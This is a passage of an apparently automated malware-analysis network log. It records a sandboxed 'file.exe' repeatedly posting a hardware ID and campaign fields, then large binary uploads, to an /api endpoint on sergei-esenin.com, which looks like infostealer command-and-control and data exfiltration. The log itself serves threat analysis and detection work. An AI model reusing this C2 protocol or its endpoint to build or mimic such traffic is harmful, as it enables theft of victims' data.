UoYZuJhO2aoKRWYe6rk+zaPyWusYCHATiXKopz/tmG1vnwSgmDfggx7ZNi7+qC6Ql5dK5zUdHSOVVrCbB9GwXUq2KaCoWt3yBk1mIuK5KvW72mbjMBBkOqRXpIdOyMFJ0vIJkJlWnNp7XUYTz/wuwZ/iVvswEFw3tUawmw+BgElO1nWgoELR7h5NQgbWkT/slvJWmgV9fJeVcgCHQsndcTeeIZGFN+HmMnVmFsKFIsG72k7nJCg0L5lStJsT0bh
2024-10-24 16:08:03 UTC	375	IN	Data Raw: 65 69 63 57 72 6e 76 41 71 57 69 76 70 61 31 4d 71 32 7a 72 6e 66 36 50 52 78 42 49 73 57 4c 70 4c 38 7a 70 65 51 52 5a 74 34 67 6f 48 6c 76 34 59 4d 66 50 46 72 32 77 71 55 57 38 66 65 33 66 6d 64 63 4e 47 42 6a 75 54 4b 5a 6d 68 62 4a 75 55 67 7a 30 77 53 67 6c 42 50 67 67 31 38 55 4e 33 65 44 77 47 2b 6c 30 73 6f 76 2b 31 30 64 48 57 71 63 62 75 32 61 54 73 69 38 52 52 72 57 4a 61 7a 63 57 2f 30 61 35 73 45 79 46 74 62 42 61 68 56 58 37 69 4c 50 48 45 41 35 45 2f 46 69 6e 4b 4d 7a 6b 4b 46 77 55 71 4d 38 77 47 46 58 77 4f 4c 6a 5a 46 70 44 7a 2f 77 75 4f 61 50 4b 63 75 64 63 57 55 69 2f 7a 56 71 38 78 32 72 49 6d 55 6c 4c 6e 31 7a 68 76 56 62 78 70 78 38 38 47 32 75 6a 79 47 4f 77 37 72 6f 33 77 32 45 63 4a 53 4c 45 4a 35 32 62 5a 73 6a 42 53 45 36 53 Data Ascii: eicWrnvAqWivpa1Mq2zrnf6PRxBIsWLpL8zpeQRZt4goHlv4YMfPFr2wqUW8fe3fmdcNGBjuTKZmhbJuUgz0wSglBPgg18UN3eDwG+l0sov+10dHWqcbu2aTsi8RRrWJazcW/0a5sEyFtbBahVX7iLPHEA5E/FinKMzkKFwUqM8wGFXwOLjZFpDz/wuOaPKcudcWUi/zVq8x2rImUlLn1zhvVbxpx88G2ujyGOw7ro3w2EcJSLEJ52bZsjBSE6S
2024-10-24 16:08:03 UTC	1369	IN	Data Raw: 32 36 65 37 0d 0a 58 36 4c 74 57 73 41 52 71 47 4d 66 69 4a 53 68 6b 61 45 67 56 75 48 75 4b 5a 31 68 55 58 78 6b 37 33 50 52 53 34 65 35 45 75 71 49 38 7a 4d 56 68 78 54 73 34 68 6d 4a 78 58 34 4e 73 65 59 46 74 43 4b 35 77 50 37 56 4c 4c 53 70 6f 46 66 58 7a 33 71 56 61 63 68 33 65 4d 6c 4d 55 4b 71 67 47 4d 67 56 66 59 34 67 64 63 4f 32 50 33 6e 54 36 6f 72 70 4d 4c 73 6d 6c 4a 4d 58 37 6b 4a 74 6d 6a 53 73 6e 35 53 44 50 58 42 4b 44 4e 56 34 44 6a 41 6d 56 75 4a 73 4b 6c 49 71 58 6e 36 6b 61 6a 43 51 43 45 32 79 46 61 69 4b 73 62 39 59 79 78 71 68 6f 4a 6a 4c 52 69 33 63 37 6d 70 51 34 75 39 71 55 79 74 65 72 7a 63 2f 73 35 48 52 7a 47 70 45 2b 6b 5a 68 62 4a 77 55 67 7a 6e 75 6d 73 76 47 37 39 75 6c 74 70 33 68 62 69 72 52 72 52 67 76 4e 7a 2b 78 30 Data Ascii: 26e7X6LtWsARqGMfiJShkaEgVuHuKZ1hUXxk73PRS4e5EuqI8zMVhxTs4hmJxX4NseYFtCK5wP7VLLSpoFfXz3qVach3eMlMUKqgGMgVfY4gdcO2P3nT6orpMLsmlJMX7kJtmjSsn5SDPXBKDNV4DjAmVuJsKlIqXn6kajCQCE2yFaiKsb9YyxqhoJjLRi3c7mpQ4u9qUyterzc/s5HRzGpE+kZhbJwUgznumsvG79ultp3hbirRrRgvNz+x0
2024-10-24 16:08:03 UTC	1369	IN	Data Raw: 48 4a 63 59 37 75 56 72 41 6c 4b 6b 73 56 59 4b 47 62 35 2f 6e 5a 42 51 72 70 50 6e 42 66 74 6b 76 4d 71 48 67 55 39 66 4e 36 63 62 73 57 61 54 73 6c 30 52 57 71 6d 49 66 6a 42 59 6e 57 2b 45 68 31 43 4c 38 2b 6b 4c 76 53 75 6b 77 76 43 42 41 77 35 49 73 51 76 37 66 5a 36 68 50 30 49 47 75 4d 46 78 59 51 50 34 49 4e 58 5a 46 70 72 7a 2f 77 76 38 61 4f 36 41 75 4d 49 52 48 45 2f 58 5a 59 38 6c 32 76 68 4a 48 30 53 67 73 56 59 30 46 72 5a 32 67 49 46 48 79 50 33 6e 52 50 73 7a 78 64 4c 32 6a 51 45 63 48 71 6c 6b 35 32 62 54 73 6a 42 53 59 61 53 42 5a 69 59 44 71 54 57 68 6c 45 65 43 6b 71 70 62 76 43 75 79 30 72 69 42 58 30 78 47 71 56 2b 34 5a 70 4f 69 4f 6b 6b 42 39 4e 67 34 63 77 72 32 59 63 65 42 46 74 44 68 36 51 75 70 4b 36 54 53 2b 63 49 56 44 51 37 Data Ascii: HJcY7uVrAlKksVYKGb5/nZBQrpPnBftkvMqHgU9fN6cbsWaTsl0RWqmIfjBYnW+Eh1CL8+kLvSukwvCBAw5IsQv7fZ6hP0IGuMFxYQP4INXZFprz/wv8aO6AuMIRHE/XZY8l2vhJH0SgsVY0FrZ2gIFHyP3nRPszxdL2jQEcHqlk52bTsjBSYaSBZiYDqTWhlEeCkqpbvCuy0riBX0xGqV+4ZpOiOkkB9Ng4cwr2YceBFtDh6QupK6TS+cIVDQ7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49712	104.21.53.8	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:08:04 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=s4KtrosmuKQTdrzDnA.N9P1uz_p8Uae3P7mA5HUEw54-1729786082-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-24 16:08:04 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:08:04 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=flphkbc0c3r61uv9sk2rpv9gum; expires=Mon, 17 Feb 2025 09:54:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VAFIbgqugSYsHqT%2Bm%2BNp9xF7LnEvzeRRZY0OfEcf1BII1Gbifqipp%2B8KKYYAR7kK2sH5hA9PRUaouARQwN14E291LIS2H%2BtFFwJXoReXuKFJwycLtmyLZ13eei7LShg5vRFvcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3934d9f8b077-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17835&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13894&delivery_rate=162240&cwnd=32&unsent_bytes=0&cid=fd74cdd11740393a&ts=403&x=0"
2024-10-24 16:08:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:08:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49713	104.21.53.8	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:08:05 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=s4KtrosmuKQTdrzDnA.N9P1uz_p8Uae3P7mA5HUEw54-1729786082-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-24 16:08:05 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:08:06 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nu7meijj5pg92ci0abokk8o1ct; expires=Mon, 17 Feb 2025 09:54:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tS%2Fu19PYY2oDIofG7cOtLx%2BmBDWZ1xyEFxoM1Qg2vJf8bZmUUyHmDm5G%2B0uztHfVrFUsJMwsLMZ3cDqn6fbPqyY6ZoezeiYfjpZC0TouoQb1%2FETLJSkrBETFaH%2BPkBi8MN4zGA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b393c6e693593-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1278&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16140&delivery_rate=2425460&cwnd=251&unsent_bytes=0&cid=844e7687d65772b2&ts=584&x=0"
2024-10-24 16:08:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49714	104.21.53.8	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:08:07 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=s4KtrosmuKQTdrzDnA.N9P1uz_p8Uae3P7mA5HUEw54-1729786082-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 16:08:07 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:08:07 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 16:08:07 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ei0lcvf7ero7nn3vlqg4ed2nls; expires=Mon, 17 Feb 2025 09:54:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UuyLHUHVr1ZC16nH9FZU5u9Vza2Ol%2Bd9ijX9r8E6vwfaN5IjNlg9%2B0oDZz0kltDGN3Ycyqj3vCZHMPk%2BF7L9v6SiWB8LJiJ%2FW5zunNTugUj361FM4QTilIN7raW6s%2BlhgLLasg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b39454c536c64-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1304&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21020&delivery_rate=2251944&cwnd=251&unsent_bytes=0&cid=5b403c825b568e48&ts=544&x=0"
2024-10-24 16:08:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:08:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49716	104.21.53.8	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:08:08 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=s4KtrosmuKQTdrzDnA.N9P1uz_p8Uae3P7mA5HUEw54-1729786082-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1233 Host: sergei-esenin.com
2024-10-24 16:08:08 UTC	1233	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:08:09 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t4jqu72b16130l5fsuhl8n2bpm; expires=Mon, 17 Feb 2025 09:54:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k0Ukei8Fxbzg3UkB8urJ0pG933eKlk93qvnlhe6YLqaEOKv34rY2BwA2RAfIRzOivZsTjwJ99UjA6WV%2B2rWKwe953B6Mxi2lAsNKFrBu%2FD1Kobz4xuNXlGSLFWq3ObvLUGnLFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b394ecd786b8f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1233&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2240&delivery_rate=2358306&cwnd=251&unsent_bytes=0&cid=68ef7ee63ea0ba0d&ts=542&x=0"
2024-10-24 16:08:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:08:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49722	104.21.53.8	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:08:10 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=s4KtrosmuKQTdrzDnA.N9P1uz_p8Uae3P7mA5HUEw54-1729786082-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587604 Host: sergei-esenin.com
2024-10-24 16:08:10 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:08:10 UTC	15331	OUT	Data Raw: 8d 40 5b 9b 72 06 55 6b 4a d2 a9 ec 60 1a 50 51 e4 11 14 93 9b 5e 5e 92 6e 45 52 3d 6b 11 c1 de 9d 5e 6c 7c f8 50 11 e5 fe de dd b7 2f 92 2e d7 9e a0 25 c3 fc c5 02 5d 4a ff 7a bf 38 4b 31 0d 54 ff ed a1 d0 30 e4 7c 6c b1 73 c4 f5 69 b4 6f a2 3b 3d 7c 5d bb a4 83 b5 18 0f 74 33 46 73 97 39 04 1c b4 42 40 b9 0a 52 a2 4c f4 dd 87 1e 79 e8 b5 94 76 d7 9a e1 33 51 64 fb ae 9c 25 07 14 79 1e d5 1d af 4c 73 14 ed 4b d2 e2 71 2d 34 19 b1 28 8e 67 7d 9d 1e 17 f7 c8 51 d2 8a 0d 80 7d 7d 50 8d 1b 66 d9 78 d5 81 fc d4 54 35 ce ca 85 e1 70 cc 5d ee 5d 3d a7 d3 fc 50 dc fd f3 e6 ee a8 5b 49 ad 92 e8 5e 82 ca 50 24 52 95 b9 06 ab 6e 16 80 e4 ff 7d e1 01 e3 9b 99 98 3a df 4e de 2e 46 96 61 10 94 5d c9 19 1a b8 cb 68 aa c8 3c 88 81 17 6b 4b 7b 6a a9 0b de de 5b 1f a4 fc Data Ascii: @[rUkJ`PQ^^nER=k^l\|P/.%]Jz8K1T0\|lsio;=\|]t3Fs9B@RLyv3Qd%yLsKq-4(g}Q}}PfxT5p]]=P[I^P$Rn}:N.Fa]h<kK{j[
2024-10-24 16:08:10 UTC	15331	OUT	Data Raw: 12 68 54 95 8e f2 e4 be a8 49 29 c0 6a 1d 0f 19 bb 71 6a 1a 42 81 a3 8c fc 22 0c 9c 23 dd 6c a2 97 c4 fe 36 d6 9a a6 dc 90 a5 b4 4c e2 7d 21 85 e4 54 d5 eb 41 7c de fa 0f 8c f5 e7 51 88 56 f6 b9 9e 21 6b 6c cf 2d d4 3f d3 52 36 92 1f a7 61 a2 55 81 f9 3a de 2c 27 00 63 87 cf f1 c2 f6 56 51 25 7f 21 fd f5 8c a1 ac fb 4b d9 d7 cb 48 09 5d 96 1b 8a e0 fe b3 79 a4 74 03 cc 02 c8 f7 54 ab 1c 84 24 40 f3 b8 f7 4b 4e ba 1f 3a 8d 8f 6b 10 07 f3 8a ab f1 3d 22 84 af 82 e2 76 f1 3c 53 ab 93 a4 74 40 c6 c6 22 fa bc 86 34 b2 80 ed eb f7 09 8b 7b 4f 75 b3 da 87 d1 5d 77 c4 bd b9 b7 e9 db ae 10 21 59 04 3c 0c 0c 3f 66 83 69 74 a3 c0 46 f1 fc 46 b5 85 1d 86 8d fa 4a 98 31 9d 13 5a f1 fa 0a b7 97 47 27 93 75 47 02 1f 0c 06 9e bf fb e7 d2 ae 2d f7 8c 56 36 5f 0b 9c 0a ac Data Ascii: hTI)jqjB"#l6L}!TA\|QV!kl-?R6aU:,'cVQ%!KH]ytT$@KN:k="v<St@"4{Ou]w!Y<?fitFFJ1ZG'uG-V6_
2024-10-24 16:08:10 UTC	15331	OUT	Data Raw: 13 af aa 6a 04 49 13 4d 5c 6f 77 f5 5e 71 b5 4e 7b 94 99 b7 ea 35 35 30 7c be f4 19 5c 45 37 0f cc 1a 27 73 8c bd 05 92 47 6c ab 17 4e c5 b0 f7 ef 84 86 ed e1 aa c2 42 5c 14 14 33 1e e9 02 97 76 38 60 27 5f f0 fa 1e cd fc 42 6a fc ad 0d 88 30 b6 bb 24 78 83 99 1c 0c 38 90 70 42 f7 8f d0 3f a3 6b be 13 20 8e e3 f4 ca 17 88 02 b8 ee fb 13 8a 30 30 f2 d9 14 10 7b 7d 4c 4f 07 7d 81 91 63 cf 4c 04 ac 2d 65 05 97 ee 1f fd 27 a4 18 d8 9f 9f 2e 1e cc 3a 92 a5 d0 ad 01 8e 3f 6c 5e 09 28 5b 95 cf 2a 3b 42 1c a8 9d 59 9a f8 a2 0f b0 94 7a ee 0b 9e 66 d7 1a f3 31 56 e3 52 e3 ef b2 f6 94 86 17 f9 96 d7 21 50 4a 2b 91 3f cd c9 44 53 c7 46 43 df ab 24 9c 6e 6e 22 31 ba 82 3f c2 88 b5 01 4e 89 2b 0e 6d 8a ec 58 18 75 04 19 1e 0a 4d 10 2c 84 6a dd cd a8 e1 c2 60 ed 10 a5 Data Ascii: jIM\ow^qN{550\|\E7'sGlNB\3v8`'_Bj0$x8pB?k 00{}LO}cL-e'.:?l^([*;BYzf1VR!PJ+?DSFC$nn"1?N+mXuM,j`
